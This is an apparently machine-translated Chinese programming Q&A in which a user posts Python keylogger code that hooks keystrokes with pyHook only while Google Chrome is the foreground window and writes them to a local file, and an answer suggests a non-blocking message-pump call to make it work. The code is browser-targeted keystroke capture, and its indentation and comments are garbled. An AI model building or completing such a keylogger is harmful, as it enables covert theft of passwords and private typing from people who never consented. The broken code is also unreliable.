0

我在 python 中创建了一个简单的键盘记录器,但我希望它仅在 Google Chrome 是前台应用程序时运行(我的意思是只有当用户在 Google Chrome 中时,键盘记录器才会 Hook。如果用户离开 Chrome,键盘记录器将停止等等。)它在用户第一次进入 Chrome 时完美运行,但是如果前台应用程序已切换到另一个,键盘记录器会继续。我发现问题出在这一行:pythoncom.Pupmessages()。在这一行之后代码永远不会继续。有人有解决方案吗?

import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading

LOG_FILE = "D:\\Log File.txt"

def OnKeyboardEvent(event): # on key pressed function
    if event.Ascii:
        f = open(LOG_FILE,"a") # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
    if char == "'": # (if char is q)
        f.close() # (close and save log file)
        exit() # (exit program)
    if event.Ascii == 13: # (if char is "return")
        f.write("\n") # (new line)
        f.write(char) # (write char)

def main():
    time.sleep(2)
    hooks = pyHook.HookManager()
    # Finding the Foreground Application at every moment.
    while True:
        time.sleep(0.5)
        newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
        print newWindowTile
    # Cheking if google chrome is running in the foreground.
    if 'Google Chrome?' in newWindowTile:
        hooks.KeyDown = OnKeyboardEvent
        hooks.HookKeyboard()
        pythoncom.PumpMessages()
        time.sleep(2)
if __name__ == "__main__":
    main()
4

1 回答 1

2

您需要使用pythoncom.PumpWaitingMessages()未阻塞的。 pc.PumpWaitingMessages()

这应该可以解决代码无法继续的问题。

PumpWaitingMessages:泵送当前线程的所有等待消息。

PumpMessages:泵送当前线程的所有消息,直到出现 WM_QUIT 消息。

资料来源:Pythoncom 文档

于 2015-06-27T13:58:54.660 回答